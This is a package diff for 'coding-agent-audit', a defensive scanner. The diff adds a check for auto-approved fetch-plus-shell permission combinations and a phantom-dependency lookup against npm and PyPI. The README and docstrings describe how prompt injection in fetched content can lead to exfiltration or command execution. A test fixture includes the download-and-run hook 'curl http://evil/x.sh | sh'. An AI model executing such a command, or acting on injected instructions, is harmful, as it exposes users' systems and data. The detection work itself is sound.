coding-agent-audit 0.3.3__tar.gz → 0.5.0__tar.gz

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  1. {coding_agent_audit-0.3.3/src/coding_agent_audit.egg-info → coding_agent_audit-0.5.0}/PKG-INFO +32 -1
  2. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/README.md +31 -0
  3. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/pyproject.toml +1 -1
  4. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/agentaudit/__init__.py +1 -1
  5. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/agentaudit/cli.py +14 -0
  6. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/agentaudit/configscan.py +64 -0
  7. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/agentaudit/mcp_server.py +18 -0
  8. coding_agent_audit-0.5.0/src/agentaudit/phantomdeps.py +201 -0
  9. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0/src/coding_agent_audit.egg-info}/PKG-INFO +32 -1
  10. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/coding_agent_audit.egg-info/SOURCES.txt +3 -1
  11. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/tests/test_configscan.py +32 -0
  12. coding_agent_audit-0.5.0/tests/test_phantomdeps.py +96 -0
  13. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/LICENSE +0 -0
  14. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/setup.cfg +0 -0
  15. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/agentaudit/checks.py +0 -0
  16. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/agentaudit/findings.py +0 -0
  17. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/agentaudit/iocs.py +0 -0
  18. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/coding_agent_audit.egg-info/dependency_links.txt +0 -0
  19. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/coding_agent_audit.egg-info/entry_points.txt +0 -0
  20. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/coding_agent_audit.egg-info/requires.txt +0 -0
  21. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/src/coding_agent_audit.egg-info/top_level.txt +0 -0
  22. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/tests/test_checks.py +0 -0
  23. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/tests/test_cli.py +0 -0
  24. {coding_agent_audit-0.3.3 → coding_agent_audit-0.5.0}/tests/test_mcp_server.py +0 -0
@@ -1,6 +1,6 @@
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  Metadata-Version: 2.4
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  Name: coding-agent-audit
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- Version: 0.3.3
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+ Version: 0.5.0
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  Summary: Scan your machine for known AI-coding-assistant supply-chain backdoor indicators (Claude Code / Cursor / Windsurf extensions, MCP servers) plus risky hook/permission config patterns. Usable as a CLI or as an MCP server.
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  Author-email: StackScribe AI <survivalagent320@gmail.com>
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  License: MIT
@@ -80,6 +80,10 @@ agent-audit --json
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  # only one half of the scan
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  agent-audit --skip-config # IOC-only
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  agent-audit --skip-ioc # config-heuristics only
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+
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+ # also check package.json/requirements.txt/pyproject.toml deps against
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+ # npm/PyPI and flag any that don't exist (hallucinated/slopsquattable name)
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+ agent-audit --project /path/to/repo --check-deps
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  ```
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  Exit codes: `0` nothing found, `1` only warning/info findings, `2` at least
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  no version pin)
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  - Auto-approved permission rules that are unscoped wildcards (e.g.
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  `Bash(*)`)
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+ - The "lethal trifecta" pattern: an untrusted-content-fetching tool
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+ (WebFetch/WebSearch/browser/MCP scraper) auto-approved alongside an
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+ action-capable tool (Bash/Write/Edit/shell) in the same config, with no
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+ confirmation step between them — the combination that turns a
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+ prompt-injection payload in a fetched page or tool response into real
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+ data exfiltration or command execution
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+
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+ **Phantom-dependency scan** (`phantomdeps.py`, opt-in via `--check-deps`) —
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+ reads `package.json` / `requirements.txt` / `pyproject.toml` in the
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+ `--project` directory and checks each listed package name against the
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+ npm/PyPI registries (read-only HTTP lookups, nothing is installed). AI
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+ coding assistants occasionally hallucinate a plausible-but-nonexistent
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+ package name; if one ends up in your manifest, an attacker can register
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+ that exact name with malicious code and have it silently installed on the
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+ next `npm install` / `pip install` ("slopsquatting"). Network errors are
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+ treated as inconclusive, not as a finding, so a flaky connection can't
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+ produce a false positive.
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  New incidents can be added to `iocs.py` as data, without touching the
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  check logic.
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  report with a suggested fix per finding. The free CLI above does the same
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  scan for free; this just packages it for sharing.
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+ ## As an agent skill
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+
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+ If your agent runtime supports the open `SKILL.md` standard (Claude Code,
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+ Cursor, and others), a packaged version of this scan is live on the
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+ [Agensi skill marketplace](https://www.agensi.io/skills/coding-agent-security-audit)
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+ as "coding agent security audit" (free) — source in
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+ [`agensi-skill/`](agensi-skill/). It's a zero-dependency, single-file port of
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+ the same checks below, meant to be loaded by an agent directly rather than
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+ installed via pip.
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+
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  ## Found something (or nothing) worth knowing?
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  Either result is useful to us: a star on the repo
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  # only one half of the scan
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  agent-audit --skip-config # IOC-only
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  agent-audit --skip-ioc # config-heuristics only
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+
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+ # also check package.json/requirements.txt/pyproject.toml deps against
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+ # npm/PyPI and flag any that don't exist (hallucinated/slopsquattable name)
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+ agent-audit --project /path/to/repo --check-deps
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  ```
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  Exit codes: `0` nothing found, `1` only warning/info findings, `2` at least
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  no version pin)
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  - Auto-approved permission rules that are unscoped wildcards (e.g.
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  `Bash(*)`)
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+ - The "lethal trifecta" pattern: an untrusted-content-fetching tool
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+ (WebFetch/WebSearch/browser/MCP scraper) auto-approved alongside an
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+ action-capable tool (Bash/Write/Edit/shell) in the same config, with no
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+ confirmation step between them — the combination that turns a
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+ prompt-injection payload in a fetched page or tool response into real
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+ data exfiltration or command execution
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+
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+ **Phantom-dependency scan** (`phantomdeps.py`, opt-in via `--check-deps`) —
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+ reads `package.json` / `requirements.txt` / `pyproject.toml` in the
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+ `--project` directory and checks each listed package name against the
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+ npm/PyPI registries (read-only HTTP lookups, nothing is installed). AI
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+ coding assistants occasionally hallucinate a plausible-but-nonexistent
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+ package name; if one ends up in your manifest, an attacker can register
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+ that exact name with malicious code and have it silently installed on the
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+ next `npm install` / `pip install` ("slopsquatting"). Network errors are
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+ treated as inconclusive, not as a finding, so a flaky connection can't
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+ produce a false positive.
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  New incidents can be added to `iocs.py` as data, without touching the
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  check logic.
@@ -175,6 +196,16 @@ and pay 12 USDC / 24 POL on Polygon (no account, no KYC). Same heuristics as
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  report with a suggested fix per finding. The free CLI above does the same
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  scan for free; this just packages it for sharing.
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+ ## As an agent skill
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+
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+ If your agent runtime supports the open `SKILL.md` standard (Claude Code,
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+ Cursor, and others), a packaged version of this scan is live on the
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+ [Agensi skill marketplace](https://www.agensi.io/skills/coding-agent-security-audit)
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+ as "coding agent security audit" (free) — source in
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+ [`agensi-skill/`](agensi-skill/). It's a zero-dependency, single-file port of
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+ the same checks below, meant to be loaded by an agent directly rather than
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+ installed via pip.
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+
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  ## Found something (or nothing) worth knowing?
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  Either result is useful to us: a star on the repo
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
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  [project]
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  name = "coding-agent-audit"
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- version = "0.3.3"
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+ version = "0.5.0"
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  description = "Scan your machine for known AI-coding-assistant supply-chain backdoor indicators (Claude Code / Cursor / Windsurf extensions, MCP servers) plus risky hook/permission config patterns. Usable as a CLI or as an MCP server."
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  readme = "README.md"
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  requires-python = ">=3.9"
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  servers).
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  """
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- __version__ = "0.3.3"
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+ __version__ = "0.5.0"
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  from .checks import run_all_ioc_checks
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  from .configscan import default_config_paths, scan_paths
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  from .findings import Finding, worst_severity
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+ from .phantomdeps import check_phantom_dependencies
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  _SEVERITY_ICON = {"critical": "[CRITICAL]", "warning": "[WARNING]", "info": "[INFO]"}
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  action="store_true",
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  help="skip the risky-config heuristic scan (IOC-only)",
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  )
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+ parser.add_argument(
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+ "--check-deps",
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+ action="store_true",
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+ help=(
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+ "with --project, also check package.json/requirements.txt/"
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+ "pyproject.toml dependencies against npm/PyPI and flag any "
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+ "that don't exist (possible AI-hallucinated/slopsquattable "
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+ "package name). Makes read-only network requests."
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+ ),
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+ )
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  parser.add_argument("--json", action="store_true", help="output JSON instead of text")
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  parser.add_argument(
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  "--no-footer", action="store_true", help="suppress the closing promo line"
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  paths = default_config_paths(home, args.project)
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  findings += scan_paths(paths)
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+ if args.check_deps and args.project is not None:
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+ findings += check_phantom_dependencies(args.project)
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+
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  if args.json:
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  print(json.dumps([f.to_dict() for f in findings], indent=2))
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  else:
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  return findings
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+ # Tools that pull in content the agent did not ask for and cannot fully
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+ # trust (web pages, search results, scraped/rendered pages).
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+ _FETCH_CAPABLE_TOOLS = (
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+ "webfetch", "websearch", "fetch", "browser", "puppeteer", "playwright",
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+ "crawl", "scrape",
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+ )
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+ # Tools capable of taking an irreversible or exfiltrating action once the
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+ # agent decides (correctly or not, after reading untrusted content) to call
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+ # them: running shell commands, writing files, or talking to the network.
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+ _ACTION_CAPABLE_TOOLS = (
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+ "bash", "write", "edit", "shell", "exec", "curl", "http",
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+ )
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+
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+
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+ def _allow_rule_tool_name(rule: str) -> str:
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+ return rule.split("(", 1)[0].strip().lower()
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+
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+
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+ def scan_lethal_trifecta(config: dict, source_path: str) -> list[Finding]:
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+ """Flag configs that auto-approve both an untrusted-content-fetching
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+ tool and an action-capable tool in the same `permissions.allow` list.
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+
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+ This is the "lethal trifecta" pattern (private/sensitive access +
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+ exposure to untrusted content + an exfiltration path) that turns a
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+ prompt-injection payload hidden in a fetched page, search result or
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+ MCP tool response into actual data loss or remote code execution,
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+ without ever showing the user a confirmation prompt.
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+ """
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+ permissions = config.get("permissions")
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+ if not isinstance(permissions, dict):
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+ return []
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+ allow = permissions.get("allow") or []
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+ tool_names = {_allow_rule_tool_name(r) for r in allow if isinstance(r, str)}
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+ tool_names |= {
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+ name
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+ for server_name in (config.get("mcpServers") or config.get("mcp_servers") or {})
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+ for name in (str(server_name).lower(),)
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+ }
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+
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+ fetch_hits = [t for t in tool_names if any(k in t for k in _FETCH_CAPABLE_TOOLS)]
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+ action_hits = [t for t in tool_names if any(k in t for k in _ACTION_CAPABLE_TOOLS)]
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+ if not fetch_hits or not action_hits:
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+ return []
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+
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+ return [
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+ Finding(
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+ check_id="lethal-trifecta-permissions",
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+ severity="warning",
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+ title="Auto-approved tools combine untrusted-content fetch with an action path",
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+ detail=(
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+ f"Permissions auto-approve both a content-fetching tool "
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+ f"({', '.join(sorted(fetch_hits))}) and an action-capable "
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+ f"tool ({', '.join(sorted(action_hits))}) with no "
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+ f"confirmation step in between. A prompt-injection payload "
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+ f"hidden in a fetched page, search result or tool response "
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+ f"can chain these two to exfiltrate data or run commands "
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+ f"without the user ever seeing a prompt."
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+ ),
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+ path=source_path,
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+ )
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+ ]
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+
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  def scan_config_dict(config: dict, source_path: str) -> list[Finding]:
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  findings: list[Finding] = []
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  findings += scan_hooks(config, source_path)
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  findings += scan_mcp_servers(config, source_path)
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  findings += scan_permissions(config, source_path)
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+ findings += scan_lethal_trifecta(config, source_path)
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  return findings
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  from .checks import run_all_ioc_checks
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  from .configscan import default_config_paths, scan_paths
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  from .findings import Finding, worst_severity
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  server = MCPServer(
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+ @server.tool()
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+ def scan_phantom_dependencies(project_dir: str) -> str:
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+ """Check a project's package.json / requirements.txt / pyproject.toml
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+ dependencies against the npm/PyPI registries and flag any package name
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+ that doesn't actually exist there. AI coding assistants occasionally
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+ hallucinate a plausible-but-nonexistent package name; if one ends up in
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+ a manifest, an attacker can register that exact name with malicious
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+ code and have it silently installed on the next install
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+ ("slopsquatting"). Read-only HTTP lookups only; nothing is installed.
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+
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+ Args:
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+ project_dir: path to the project directory containing the manifest
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+ file(s) to check.
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+ """
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+ return _render(check_phantom_dependencies(Path(project_dir)))
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+
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  def main() -> None:
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+ """Checks for dependency-manifest entries that reference a package which
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+ AI coding agents occasionally hallucinate plausible-but-nonexistent package
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+ names. If a project's manifest references one, an attacker can register
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+ that exact name on the registry with malicious code ("slopsquatting") and
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+ the next `npm install` / `pip install` run pulls it in silently. This module
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+ only reads local manifest files and makes read-only HTTP lookups against
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+ the public registries - it never installs or modifies anything.
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+ Network errors (offline, timeout, DNS failure, rate limiting) are treated
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+ as "unknown" rather than "phantom", so a flaky connection never produces a
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+ false positive.
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+ """
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+ from __future__ import annotations
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+
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+ import json
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+ import re
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+ import urllib.error
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+ import urllib.request
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+ from pathlib import Path
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+ from typing import Optional
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+ from urllib.parse import quote
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+
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+ from .findings import Finding
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+
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+ _REQUEST_TIMEOUT = 4
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+ _USER_AGENT = "coding-agent-audit (+https://github.com/stackscribe-ai/coding-agent-audit)"
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+
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+ _NPM_NAME_RE = re.compile(r"^(@[a-z0-9][\w.-]*/)?[a-z0-9][\w.-]*$", re.IGNORECASE)
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+ # Stdlib / common built-in module names that show up in requirements-style
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+ # files but are never installed from PyPI under that name.
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+ _PY_SKIP = {"python", "pip", "setuptools", "wheel"}
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+
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+
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+ def _http_exists(url: str) -> Optional[bool]:
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+ """Return True if `url` resolves (2xx), False if it 404s, None if the
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+ check itself was inconclusive (network error, timeout, non-404 error)."""
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+ req = urllib.request.Request(url, method="HEAD", headers={"User-Agent": _USER_AGENT})
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+ try:
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+ with urllib.request.urlopen(req, timeout=_REQUEST_TIMEOUT) as resp:
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+ return 200 <= resp.status < 300
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+ except urllib.error.HTTPError as exc:
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+ if exc.code == 404:
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+ return False
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+ return None
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+ except (urllib.error.URLError, OSError, TimeoutError):
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+ return None
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+
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+ def check_npm_package_exists(name: str) -> Optional[bool]:
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+ if "/" in name:
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+ scope, _, rest = name.partition("/")
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+ encoded = f"{quote(scope, safe='')}%2F{quote(rest, safe='')}"
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+ else:
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+ encoded = quote(name, safe="")
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+ return _http_exists(f"https://registry.npmjs.org/{encoded}")
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+
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+
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+ def check_pypi_package_exists(name: str) -> Optional[bool]:
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+ return _http_exists(f"https://pypi.org/pypi/{quote(name, safe='')}/json")
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+
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+
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+ def parse_npm_package_names(path: Path) -> list[str]:
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+ try:
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+ data = json.loads(path.read_text())
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+ except (OSError, json.JSONDecodeError):
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+ return []
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+ if not isinstance(data, dict):
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+ return []
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+ names: list[str] = []
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+ for key in ("dependencies", "devDependencies", "peerDependencies", "optionalDependencies"):
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+ deps = data.get(key)
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+ if isinstance(deps, dict):
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+ names.extend(n for n in deps if isinstance(n, str))
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+ return names
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+
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+
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+ _REQ_LINE_RE = re.compile(r"^\s*([A-Za-z0-9][A-Za-z0-9._-]*)")
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+
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+
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+ def parse_requirements_txt(path: Path) -> list[str]:
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+ try:
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+ lines = path.read_text().splitlines()
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+ except OSError:
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+ return []
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+ names: list[str] = []
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+ for line in lines:
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+ line = line.split("#", 1)[0].strip()
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+ if not line or line.startswith(("-", "git+", "http://", "https://")):
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+ continue
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+ match = _REQ_LINE_RE.match(line)
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+ if not match:
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+ continue
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+ name = match.group(1).lower()
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+ if name not in _PY_SKIP:
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+ names.append(name)
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+ return names
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+
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+ _TOML_DEP_LIST_RE = re.compile(r"(?m)^\s*dependencies\s*=\s*\[(.*?)\]", re.DOTALL)
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+ _TOML_STRING_RE = re.compile(r'"([^"]+)"|\'([^\']+)\'')
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+ _TOML_POETRY_TABLE_RE = re.compile(
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+ r"(?m)^\[tool\.poetry\.(?:dependencies|dev-dependencies)\]\s*\n(.*?)(?=\n\[|\Z)", re.DOTALL
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+ )
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+ _TOML_POETRY_KEY_RE = re.compile(r"(?m)^\s*([A-Za-z0-9][A-Za-z0-9._-]*)\s*=")
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+
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+
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+ def parse_pyproject_packages(path: Path) -> list[str]:
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+ """Best-effort regex extraction (no TOML parser dependency, no need for
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+ 3.11+ tomllib given this project's py3.9 floor). False negatives (a
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+ dependency we fail to spot) are fine; this is a heuristic triage tool."""
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+ try:
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+ text = path.read_text()
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+ except OSError:
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+ return []
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+ names: list[str] = []
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+ for list_match in _TOML_DEP_LIST_RE.finditer(text):
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+ for entry_match in _TOML_STRING_RE.finditer(list_match.group(1)):
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+ entry = entry_match.group(1) or entry_match.group(2)
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+ name = re.split(r"[<>=!~\[; ]", entry, 1)[0].strip()
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+ if name:
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+ names.append(name)
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+ for table_match in _TOML_POETRY_TABLE_RE.finditer(text):
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+ for key_match in _TOML_POETRY_KEY_RE.finditer(table_match.group(1)):
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+ name = key_match.group(1)
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+ if name.lower() != "python":
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+ names.append(name)
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+ return names
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+
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+
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+ def _is_plausible_npm_name(name: str) -> bool:
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+ return bool(_NPM_NAME_RE.match(name))
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+
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+
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+ def check_phantom_dependencies(project_dir: Path) -> list[Finding]:
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+ """Scan a project directory's manifest files for dependencies that
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+ don't resolve on their registry."""
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+ findings: list[Finding] = []
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+
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+ npm_names: dict[str, str] = {}
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+ pkg_json = project_dir / "package.json"
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+ if pkg_json.is_file():
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+ for name in parse_npm_package_names(pkg_json):
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+ if _is_plausible_npm_name(name):
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+ npm_names.setdefault(name, str(pkg_json))
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+
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+ py_names: dict[str, str] = {}
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+ requirements = project_dir / "requirements.txt"
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+ if requirements.is_file():
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+ for name in parse_requirements_txt(requirements):
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+ py_names.setdefault(name, str(requirements))
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+ pyproject = project_dir / "pyproject.toml"
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+ if pyproject.is_file():
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+ for name in parse_pyproject_packages(pyproject):
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+ py_names.setdefault(name, str(pyproject))
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+
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+ for name, source in npm_names.items():
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+ exists = check_npm_package_exists(name)
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+ if exists is False:
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+ findings.append(
163
+ Finding(
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+ check_id="phantom-dependency",
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+ severity="warning",
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+ title=f"npm dependency '{name}' not found on the npm registry",
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+ detail=(
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+ f"'{name}' is listed as a dependency but does not "
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+ f"exist on registry.npmjs.org. This can happen when "
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+ f"an AI coding assistant hallucinates a plausible "
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+ f"package name. Until it's removed or corrected, "
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+ f"anyone could publish a malicious package under "
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+ f"this exact name and have it silently installed on "
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+ f"the next `npm install` (slopsquatting)."
175
+ ),
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+ path=source,
177
+ )
178
+ )
179
+
180
+ for name, source in py_names.items():
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+ exists = check_pypi_package_exists(name)
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+ if exists is False:
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+ findings.append(
184
+ Finding(
185
+ check_id="phantom-dependency",
186
+ severity="warning",
187
+ title=f"Python dependency '{name}' not found on PyPI",
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+ detail=(
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+ f"'{name}' is listed as a dependency but does not "
190
+ f"exist on pypi.org. This can happen when an AI "
191
+ f"coding assistant hallucinates a plausible package "
192
+ f"name. Until it's removed or corrected, anyone "
193
+ f"could publish a malicious package under this "
194
+ f"exact name and have it silently installed on the "
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+ f"next `pip install` (slopsquatting)."
196
+ ),
197
+ path=source,
198
+ )
199
+ )
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+
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+ return findings
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: coding-agent-audit
3
- Version: 0.3.3
3
+ Version: 0.5.0
4
4
  Summary: Scan your machine for known AI-coding-assistant supply-chain backdoor indicators (Claude Code / Cursor / Windsurf extensions, MCP servers) plus risky hook/permission config patterns. Usable as a CLI or as an MCP server.
5
5
  Author-email: StackScribe AI <survivalagent320@gmail.com>
6
6
  License: MIT
@@ -80,6 +80,10 @@ agent-audit --json
80
80
  # only one half of the scan
81
81
  agent-audit --skip-config # IOC-only
82
82
  agent-audit --skip-ioc # config-heuristics only
83
+
84
+ # also check package.json/requirements.txt/pyproject.toml deps against
85
+ # npm/PyPI and flag any that don't exist (hallucinated/slopsquattable name)
86
+ agent-audit --project /path/to/repo --check-deps
83
87
  ```
84
88
 
85
89
  Exit codes: `0` nothing found, `1` only warning/info findings, `2` at least
@@ -110,6 +114,23 @@ second look rather than proof of compromise:
110
114
  no version pin)
111
115
  - Auto-approved permission rules that are unscoped wildcards (e.g.
112
116
  `Bash(*)`)
117
+ - The "lethal trifecta" pattern: an untrusted-content-fetching tool
118
+ (WebFetch/WebSearch/browser/MCP scraper) auto-approved alongside an
119
+ action-capable tool (Bash/Write/Edit/shell) in the same config, with no
120
+ confirmation step between them — the combination that turns a
121
+ prompt-injection payload in a fetched page or tool response into real
122
+ data exfiltration or command execution
123
+
124
+ **Phantom-dependency scan** (`phantomdeps.py`, opt-in via `--check-deps`) —
125
+ reads `package.json` / `requirements.txt` / `pyproject.toml` in the
126
+ `--project` directory and checks each listed package name against the
127
+ npm/PyPI registries (read-only HTTP lookups, nothing is installed). AI
128
+ coding assistants occasionally hallucinate a plausible-but-nonexistent
129
+ package name; if one ends up in your manifest, an attacker can register
130
+ that exact name with malicious code and have it silently installed on the
131
+ next `npm install` / `pip install` ("slopsquatting"). Network errors are
132
+ treated as inconclusive, not as a finding, so a flaky connection can't
133
+ produce a false positive.
113
134
 
114
135
  New incidents can be added to `iocs.py` as data, without touching the
115
136
  check logic.
@@ -196,6 +217,16 @@ and pay 12 USDC / 24 POL on Polygon (no account, no KYC). Same heuristics as
196
217
  report with a suggested fix per finding. The free CLI above does the same
197
218
  scan for free; this just packages it for sharing.
198
219
 
220
+ ## As an agent skill
221
+
222
+ If your agent runtime supports the open `SKILL.md` standard (Claude Code,
223
+ Cursor, and others), a packaged version of this scan is live on the
224
+ [Agensi skill marketplace](https://www.agensi.io/skills/coding-agent-security-audit)
225
+ as "coding agent security audit" (free) — source in
226
+ [`agensi-skill/`](agensi-skill/). It's a zero-dependency, single-file port of
227
+ the same checks below, meant to be loaded by an agent directly rather than
228
+ installed via pip.
229
+
199
230
  ## Found something (or nothing) worth knowing?
200
231
 
201
232
  Either result is useful to us: a star on the repo
@@ -8,6 +8,7 @@ src/agentaudit/configscan.py
8
8
  src/agentaudit/findings.py
9
9
  src/agentaudit/iocs.py
10
10
  src/agentaudit/mcp_server.py
11
+ src/agentaudit/phantomdeps.py
11
12
  src/coding_agent_audit.egg-info/PKG-INFO
12
13
  src/coding_agent_audit.egg-info/SOURCES.txt
13
14
  src/coding_agent_audit.egg-info/dependency_links.txt
@@ -17,4 +18,5 @@ src/coding_agent_audit.egg-info/top_level.txt
17
18
  tests/test_checks.py
18
19
  tests/test_cli.py
19
20
  tests/test_configscan.py
20
- tests/test_mcp_server.py
21
+ tests/test_mcp_server.py
22
+ tests/test_phantomdeps.py
@@ -4,6 +4,7 @@ from agentaudit.configscan import (
4
4
  default_config_paths,
5
5
  scan_config_dict,
6
6
  scan_hooks,
7
+ scan_lethal_trifecta,
7
8
  scan_mcp_servers,
8
9
  scan_paths,
9
10
  scan_permissions,
@@ -112,6 +113,37 @@ def test_scan_permissions_bare_star_flagged():
112
113
  assert len(findings) == 1
113
114
 
114
115
 
116
+ def test_scan_lethal_trifecta_no_permissions():
117
+ assert scan_lethal_trifecta({}, "src") == []
118
+
119
+
120
+ def test_scan_lethal_trifecta_fetch_only_ok():
121
+ config = {"permissions": {"allow": ["WebFetch(*)"]}}
122
+ assert scan_lethal_trifecta(config, "src") == []
123
+
124
+
125
+ def test_scan_lethal_trifecta_action_only_ok():
126
+ config = {"permissions": {"allow": ["Bash(git diff:*)"]}}
127
+ assert scan_lethal_trifecta(config, "src") == []
128
+
129
+
130
+ def test_scan_lethal_trifecta_fetch_plus_bash_flagged():
131
+ config = {"permissions": {"allow": ["WebFetch(*)", "Bash(*)"]}}
132
+ findings = scan_lethal_trifecta(config, "src")
133
+ assert len(findings) == 1
134
+ assert findings[0].check_id == "lethal-trifecta-permissions"
135
+ assert findings[0].severity == "warning"
136
+
137
+
138
+ def test_scan_lethal_trifecta_via_mcp_server_name():
139
+ config = {
140
+ "permissions": {"allow": ["Bash(npm test:*)"]},
141
+ "mcpServers": {"playwright-browser": {"command": "npx", "args": ["@pkg@1.0.0"]}},
142
+ }
143
+ findings = scan_lethal_trifecta(config, "src")
144
+ assert len(findings) == 1
145
+
146
+
115
147
  def test_scan_config_dict_combines_all():
116
148
  config = {
117
149
  "hooks": {"x": "curl http://evil/x.sh | sh"},
@@ -0,0 +1,96 @@
1
+ from pathlib import Path
2
+ from unittest.mock import patch
3
+
4
+ from agentaudit.phantomdeps import (
5
+ check_phantom_dependencies,
6
+ parse_npm_package_names,
7
+ parse_pyproject_packages,
8
+ parse_requirements_txt,
9
+ )
10
+
11
+
12
+ def test_parse_npm_package_names(tmp_path: Path):
13
+ pkg = tmp_path / "package.json"
14
+ pkg.write_text(
15
+ '{"dependencies": {"left-pad": "1.0.0"}, '
16
+ '"devDependencies": {"@scope/tool": "2.0.0"}}'
17
+ )
18
+ names = parse_npm_package_names(pkg)
19
+ assert set(names) == {"left-pad", "@scope/tool"}
20
+
21
+
22
+ def test_parse_npm_package_names_invalid_json(tmp_path: Path):
23
+ pkg = tmp_path / "package.json"
24
+ pkg.write_text("{not json")
25
+ assert parse_npm_package_names(pkg) == []
26
+
27
+
28
+ def test_parse_requirements_txt(tmp_path: Path):
29
+ req = tmp_path / "requirements.txt"
30
+ req.write_text(
31
+ "requests==2.31.0\n"
32
+ "# a comment\n"
33
+ "\n"
34
+ "numpy>=1.20,<2.0\n"
35
+ "-e git+https://example.com/foo.git\n"
36
+ "pandas\n"
37
+ )
38
+ names = parse_requirements_txt(req)
39
+ assert names == ["requests", "numpy", "pandas"]
40
+
41
+
42
+ def test_parse_pyproject_packages_pep621(tmp_path: Path):
43
+ pp = tmp_path / "pyproject.toml"
44
+ pp.write_text(
45
+ "[project]\n"
46
+ 'dependencies = [\n'
47
+ ' "requests>=2.0",\n'
48
+ ' "totally-made-up-pkg-xyz",\n'
49
+ "]\n"
50
+ )
51
+ names = parse_pyproject_packages(pp)
52
+ assert set(names) == {"requests", "totally-made-up-pkg-xyz"}
53
+
54
+
55
+ def test_parse_pyproject_packages_poetry(tmp_path: Path):
56
+ pp = tmp_path / "pyproject.toml"
57
+ pp.write_text(
58
+ "[tool.poetry.dependencies]\n"
59
+ 'python = "^3.9"\n'
60
+ 'requests = "^2.0"\n'
61
+ "\n"
62
+ "[tool.poetry.group.dev.dependencies]\n"
63
+ 'pytest = "^7.0"\n'
64
+ )
65
+ names = parse_pyproject_packages(pp)
66
+ assert "requests" in names
67
+ assert "python" not in names
68
+
69
+
70
+ def test_check_phantom_dependencies_flags_nonexistent_npm(tmp_path: Path):
71
+ (tmp_path / "package.json").write_text(
72
+ '{"dependencies": {"left-pad": "1.0.0", "definitely-not-a-real-pkg-9x7z": "1.0.0"}}'
73
+ )
74
+
75
+ def fake_exists(name: str):
76
+ return name != "definitely-not-a-real-pkg-9x7z"
77
+
78
+ with patch("agentaudit.phantomdeps.check_npm_package_exists", side_effect=fake_exists):
79
+ findings = check_phantom_dependencies(tmp_path)
80
+
81
+ assert len(findings) == 1
82
+ assert findings[0].check_id == "phantom-dependency"
83
+ assert "definitely-not-a-real-pkg-9x7z" in findings[0].title
84
+
85
+
86
+ def test_check_phantom_dependencies_network_unknown_not_flagged(tmp_path: Path):
87
+ (tmp_path / "requirements.txt").write_text("some-package\n")
88
+
89
+ with patch("agentaudit.phantomdeps.check_pypi_package_exists", return_value=None):
90
+ findings = check_phantom_dependencies(tmp_path)
91
+
92
+ assert findings == []
93
+
94
+
95
+ def test_check_phantom_dependencies_no_manifests(tmp_path: Path):
96
+ assert check_phantom_dependencies(tmp_path) == []